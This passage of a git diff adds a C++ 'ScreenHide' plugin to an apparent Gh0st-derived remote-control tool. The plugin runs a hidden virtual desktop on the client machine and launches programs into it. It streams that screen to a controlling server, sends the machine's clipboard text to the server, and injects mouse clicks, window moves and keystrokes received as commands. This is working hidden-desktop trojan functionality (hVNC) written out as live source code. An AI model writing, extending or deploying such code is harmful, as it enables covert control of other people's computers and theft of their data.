NULL; + CloseHandle(m_hBlankThread); m_hBlankThread = NULL; + + SAFE_DELETE(m_ScreenSpyObject); + if (g_hDesk) { + auto b = CloseDesktop(g_hDesk); + g_hDesk = NULL; + Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str()); + } + } + +public: // 非纯虚函数 + virtual BOOL SendFirstScreen() { + ULONG len = 0; + auto data = m_ScreenSpyObject->GetFirstScreenData(&len); + if (nullptr == data) { + return FALSE; + } + return m_ClientObject->Send2Server((char*)data, 1 + len); + } + + virtual bool IsMetricsChange() { + if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) { + if (m_oldwidth == 0 || m_oldheigh == 0) { + return false; + } + m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN); + m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN); + return true; + } + + return false; + } + + virtual void Loop_Screen() { + // 获取分辨率 + int _cx = ::GetSystemMetrics(SM_CXSCREEN); + int _cy = ::GetSystemMetrics(SM_CYSCREEN); + + // 修改分辨率 + DEVMODE lpDevMode; + lpDevMode.dmBitsPerPel = 32;//每个像素的位数 + lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素) + lpDevMode.dmPelsHeight = 900;//屏幕高度(像素) + lpDevMode.dmSize = sizeof(lpDevMode); + lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL; + LONG result = ChangeDisplaySettings(&lpDevMode, 0); + if (result == DISP_CHANGE_SUCCESSFUL) { + ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY); + } + else { + ChangeDisplaySettings(NULL, 0); + } + } + + virtual bool IsConnect() { return m_ClientObject->IsRunning(); } + + virtual int GetCurrentPixelBits() { return m_biBitCount; } + + virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) { + return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); + } + + virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) { + m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength); + } + + virtual void ResetScreen(int biBitCount = 32) { + InterlockedExchange((LPLONG)&m_bIsWorking, FALSE); + WaitForSingleObject(m_hWorkThread, INFINITE); + CloseHandle(m_hWorkThread); + SAFE_DELETE(m_ScreenSpyObject); + m_biBitCount = biBitCount; + m_bIsWorking = TRUE; + m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL); + } + + virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) { + if (!OpenClipboard(NULL)) + return; + EmptyClipboard(); + HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength); + if (hGlobal != NULL) { + LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal); + if (szClipboardVirtualAddress) + memcpy(szClipboardVirtualAddress, szBuffer, ulLength); + GlobalUnlock(hGlobal); + if (NULL == SetClipboardData(CF_TEXT, hGlobal)) + GlobalFree(hGlobal); + } + CloseClipboard(); + } + + virtual VOID SendClientClipboard() { + if (!OpenClipboard(NULL)) //打开剪切板设备 + return; + HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存 + if (hGlobal == NULL) { + CloseClipboard(); + return; + } + int iPacketLength = GlobalSize(hGlobal) + 1; + char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定 + LPBYTE szBuffer = new BYTE[iPacketLength]; + + szBuffer[0] = TOKEN_CLIPBOARD_TEXT; + memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1); + GlobalUnlock(hGlobal); + CloseClipboard(); + m_ClientObject->Send2Server((char*)szBuffer, iPacketLength); + delete[] szBuffer; + } + + virtual DWORD WorkProcess() { + CScreenManagerBase* This = this; + This->InitScreenSpy(); + + This->SendBitMapInfo(); + if (This->m_bIsWorking) + This->WaitForDialogOpen(); + This->SendScreenSize(); + clock_t last = clock(); + if (!This->SendFirstScreen()) { + Mprintf("Send first screen failed!!!\n"); + return 0x20250224; + } + Mprintf("Succeed sending bmpInfo and first screen\n"); + + float fps = This->m_fps; + const int sleep = 1000 / fps;// 间隔时间(ms) + int c1 = 0; // 连续耗时长的次数 + int c2 = 0; // 连续耗时短的次数 + int s0 = sleep; // 两帧之间隔(ms) + const int frames = fps; // 每秒调整屏幕发送速度 + const double alpha = 1.1; // 控制fps的因子 + timeBeginPeriod(1); + while (This->m_bIsWorking) { + ULONG ulNextSendLength = 0; + LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength); + if (NULL == szBuffer) { + continue; + } + int span = s0 - (clock() - last); + Sleep(span > 0 ? span : 1); + if (span < 0) { // 发送数据耗时较长,网络较差或数据较多 + c2 = 0; + if (frames == ++c1) { // 连续一定次数耗时长 + s0 = (s0 <= 500) ? s0 * alpha : s0; + c1 = 0; +#ifdef _DEBUG + if (s0 > 40) + Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0); +#endif + } + } + else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小 + c1 = 0; + if (frames == ++c2) { // 连续一定次数耗时短 + s0 = (s0 >= 40) ? s0 / alpha : s0; + c2 = 0; +#ifdef _DEBUG + if (s0 > 40) + Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0); +#endif + } + } + last = clock(); + This->SendNextScreen(szBuffer, ulNextSendLength); + } + timeEndPeriod(1); + Mprintf("ScreenWorkThread Exit\n"); + + return 0; + } + + virtual DWORD ControlProcess() { + CScreenManagerBase* pThis = this; + pThis->WaitForDialogOpen(); + while (pThis->IsConnect() && pThis->m_bIsWorking) { + // 分辨率大小改变了 + if (pThis->IsMetricsChange() && pThis->m_bIsWorking) { + pThis->ResetScreen(pThis->GetCurrentPixelBits()); + Sleep(2000); + } + Sleep(10); + } + return -1; + } + + static DWORD WINAPI WorkThreadProc(LPVOID lParam) { + CScreenManagerBase* pThis = (CScreenManagerBase*)lParam; + return pThis->WorkProcess(); + } + + static DWORD WINAPI ControlThread(LPVOID lparam) { + CScreenManagerBase* pThis = (CScreenManagerBase*)lparam; + return pThis->ControlProcess(); + } + + std::wstring ConvertToWString(const std::string& multiByteStr) { + int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0); + if (len == 0) return L""; // 转换失败 + + std::wstring wideStr(len, L'\0'); + MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len); + + return wideStr; + } + + std::string GetTitle(HWND hWnd) { + char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存) + GetWindowTextA(hWnd, title, sizeof(title)); + return title; + } + + virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) { + bool bReturn = false; + + try { + if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName)) + return false; + + TCHAR szDirectoryName[MAX_PATH * 2] = { 0 }; + TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; + + strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath); + + std::wstring path = ConvertToWString(pszApplicationFilePath); + if (!PathIsExe(path.c_str())) + return false; + PathRemoveFileSpec(szDirectoryName); + STARTUPINFO sInfo = { 0 }; + PROCESS_INFORMATION pInfo = { 0 }; + + sInfo.cb = sizeof(sInfo); + sInfo.lpDesktop = pszDesktopName; + + //Launching a application into desktop + BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath, + NULL, + NULL, + NULL, + TRUE, + NORMAL_PRIORITY_CLASS, + NULL, + szDirectoryName, + &sInfo, + &pInfo); + CloseHandle(pInfo.hProcess); + CloseHandle(pInfo.hThread); + TCHAR* pszError = NULL; + FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, GetLastError(), 0, reinterpret_cast(&pszError), 0, NULL); + + if (pszError) { + Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError); + LocalFree(pszError); // 释放内存 + } + + if (bCreateProcessReturn) + bReturn = true; + + } + catch (...) { + bReturn = false; + } + + return bReturn; + } + + virtual VOID SendBitMapInfo() { + const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER); + LPBYTE szBuffer = new BYTE[ulLength]; + szBuffer[0] = m_DlgToken; + memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); + m_ClientObject->Send2Server((char*)szBuffer, ulLength); + SAFE_DELETE_ARRAY(szBuffer); + } + + virtual void SendScreenSize() + { + RECT rect = m_ScreenSpyObject->GetScreenRect(); + BYTE lpBuffer[sizeof(RECT) + 1]; + lpBuffer[0] = TOKEN_SCREEN_SIZE; + memcpy(lpBuffer + 1, &rect, sizeof(RECT)); + Send(lpBuffer, sizeof(lpBuffer)); + } + + virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) { + int msgSize = sizeof(MYMSG); + if (ulLength % 28 == 0) // 32位控制端发过来的消息 + msgSize = 28; + else if (ulLength % 48 == 0) // 64位控制端发过来的消息 + msgSize = 48; + else return; // 数据包不合法 + ULONG ulMsgCount = ulLength / msgSize; + BYTE* ptr = szBuffer; + MSG32 msg32; + MSG64 msg64; + if (nullptr == g_hDesk) { + // 命令个数 + // 处理多个命令 + for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { + MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr : + (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize)); + switch (Msg->message) { + case WM_LBUTTONDOWN: case WM_LBUTTONUP: + case WM_RBUTTONDOWN: case WM_RBUTTONUP: + case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK: + case WM_MBUTTONDOWN: case WM_MBUTTONUP: + case WM_MOUSEMOVE: { + POINT Point; + Point.x = LOWORD(Msg->lParam); + Point.y = HIWORD(Msg->lParam); + m_ScreenSpyObject->PointConversion(Point); + SetCursorPos(Point.x, Point.y); + SetCapture(WindowFromPoint(Point)); + } + break; + default: + break; + } + + switch (Msg->message) { + case WM_LBUTTONDOWN: + mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); + break; + case WM_LBUTTONUP: + mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + break; + case WM_RBUTTONDOWN: + mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); + break; + case WM_RBUTTONUP: + mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + break; + case WM_LBUTTONDBLCLK: + mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); + break; + case WM_RBUTTONDBLCLK: + mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); + break; + case WM_MBUTTONDBLCLK: + mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); + mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); + break; + case WM_MBUTTONDOWN: + mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0); + break; + case WM_MBUTTONUP: + mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); + break; + case WM_MOUSEWHEEL: + mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0); + break; + case WM_KEYDOWN: case WM_SYSKEYDOWN: + keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0); + break; + case WM_KEYUP: case WM_SYSKEYUP: + keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0); + break; + default: + break; + } + } + } else { // 虚拟桌面 + HWND hWnd = NULL; + BOOL mouseMsg = FALSE; + POINT lastPointCopy = {}; + SetThreadDesktop(g_hDesk); + for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { + MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr : + (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize)); + switch (msg->message) { + case WM_KEYUP: + return; + case WM_CHAR: + + case WM_KEYDOWN: { + m_point = m_lastPoint; + hWnd = WindowFromPoint(m_point); + break; + } + case WM_RBUTTONDOWN: { + // 记录右键按下时的坐标 + m_rmouseDown = TRUE; + m_rclickPoint = msg->pt; + break; + } + case WM_RBUTTONUP: { + m_rmouseDown = FALSE; + m_rclickWnd = WindowFromPoint(m_rclickPoint); + // 检查是否为系统菜单(如任务栏) + char szClass[256] = { 0 }; + GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); + Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd); + if (strcmp(szClass, "Shell_TrayWnd") == 0) { + // 触发系统级右键菜单(任务栏) + PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, + MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); + } + else { + // 普通窗口的右键菜单 + if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, + MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { + // 附加:模拟键盘按下Shift+F10(备用菜单触发方式) + keybd_event(VK_SHIFT, 0, 0, 0); + keybd_event(VK_F10, 0, 0, 0); + keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); + keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); + } + } + break; + } + default: + { + mouseMsg = TRUE; + m_point = msg->pt; + hWnd = WindowFromPoint(m_point); + lastPointCopy = m_lastPoint; + m_lastPoint = m_point; + if (msg->message == WM_LBUTTONUP) { + if (m_rclickWnd && hWnd != m_rclickWnd) + { + PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0); + PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0); + m_rclickWnd = nullptr; + } + m_lmouseDown = FALSE; + LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + switch (lResult) { + case HTTRANSPARENT: { + SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); + lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + break; + } + case HTCLOSE: {// 关闭窗口 + PostMessageA(hWnd, WM_CLOSE, 0, 0); + Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + case HTMINBUTTON: {// 最小化 + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); + Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + case HTMAXBUTTON: {// 最大化 + WINDOWPLACEMENT windowPlacement; + windowPlacement.length = sizeof(windowPlacement); + GetWindowPlacement(hWnd, &windowPlacement); + if (windowPlacement.flags & SW_SHOWMAXIMIZED) + PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); + else + PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); + Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); + break; + } + } + } + else if (msg->message == WM_LBUTTONDOWN) { + m_lmouseDown = TRUE; + m_hResMoveWindow = NULL; + RECT startButtonRect; + HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); + GetWindowRect(hStartButton, &startButtonRect); + if (PtInRect(&startButtonRect, m_point)) { + PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击 + continue; + } + else { + char windowClass[MAX_PATH] = { 0 }; + RealGetWindowClassA(hWnd, windowClass, MAX_PATH); + if (!lstrcmpA(windowClass, "#32768")) { + HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0); + int itemPos = MenuItemFromPoint(NULL, hMenu, m_point); + int itemId = GetMenuItemID(hMenu, itemPos); + PostMessageA(hWnd, 0x1e5, itemPos, 0); + PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); + continue; + } + } + } + else if (msg->message == WM_MOUSEMOVE) { + if (!m_lmouseDown) + continue; + if (!m_hResMoveWindow) + m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); + else + hWnd = m_hResMoveWindow; + int moveX = lastPointCopy.x - m_point.x; + int moveY = lastPointCopy.y - m_point.y; + + RECT rect; + GetWindowRect(hWnd, &rect); + int x = rect.left; + int y = rect.top; + int width = rect.right - rect.left; + int height = rect.bottom - rect.top; + switch (m_resMoveType) { + case HTCAPTION: { + x -= moveX; + y -= moveY; + break; + } + case HTTOP: { + y -= moveY; + height += moveY; + break; + } + case HTBOTTOM: { + height -= moveY; + break; + } + case HTLEFT: { + x -= moveX; + width += moveX; + break; + } + case HTRIGHT: { + width -= moveX; + break; + } + case HTTOPLEFT: { + y -= moveY; + height += moveY; + x -= moveX; + width += moveX; + break; + } + case HTTOPRIGHT: { + y -= moveY; + height += moveY; + width -= moveX; + break; + } + case HTBOTTOMLEFT: { + height -= moveY; + x -= moveX; + width += moveX; + break; + } + case HTBOTTOMRIGHT: { + height -= moveY; + width -= moveX; + break; + } + default: + continue; + } + MoveWindow(hWnd, x, y, width, height, FALSE); + m_hResMoveWindow = hWnd; + continue; + } + break; + } + } + for (HWND currHwnd = hWnd;;) { + hWnd = currHwnd; + ScreenToClient(currHwnd, &m_point); + currHwnd = ChildWindowFromPoint(currHwnd, m_point); + if (!currHwnd || currHwnd == hWnd) + break; + } + if (mouseMsg) + msg->lParam = MAKELPARAM(m_point.x, m_point.y); + PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam); + } + } + } + +public: // 纯虚函数 + virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0; + virtual void InitScreenSpy() = 0; + + HDESK g_hDesk; + std::string m_DesktopID; + void* m_ptrUser; + ScreenCapture* m_ScreenSpyObject; + BOOL m_bIsWorking; + long m_oldwidth, m_oldheigh; + int m_biBitCount; + int m_fps; + int m_DlgToken; // 这个值决定打开哪个对话框 + HANDLE m_hWorkThread, m_hBlankThread; + + // 虚拟桌面 + POINT m_point; + POINT m_lastPoint; + BOOL m_lmouseDown; + HWND m_hResMoveWindow; + LRESULT m_resMoveType; + BOOL m_rmouseDown; // 标记右键是否按下 + POINT m_rclickPoint; // 右键点击坐标 + HWND m_rclickWnd; // 右键窗口 +}; + +} // namespace SimplePluginsScreenHide diff --git a/common/commands.h b/common/commands.h index f8a57cf..1a577c3 100644 --- a/common/commands.h +++ b/common/commands.h @@ -323,6 +323,7 @@ enum { COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天) COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框 COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移) + COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移) TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 68aa70bf85e045f31aafb8ff579544459dc781c3..e059125324ba92b86b2ea6f81789d76ef2bda272 100644 GIT binary patch delta 61 zcmV-D0K)&=tPA$73xKo%(8-tf%K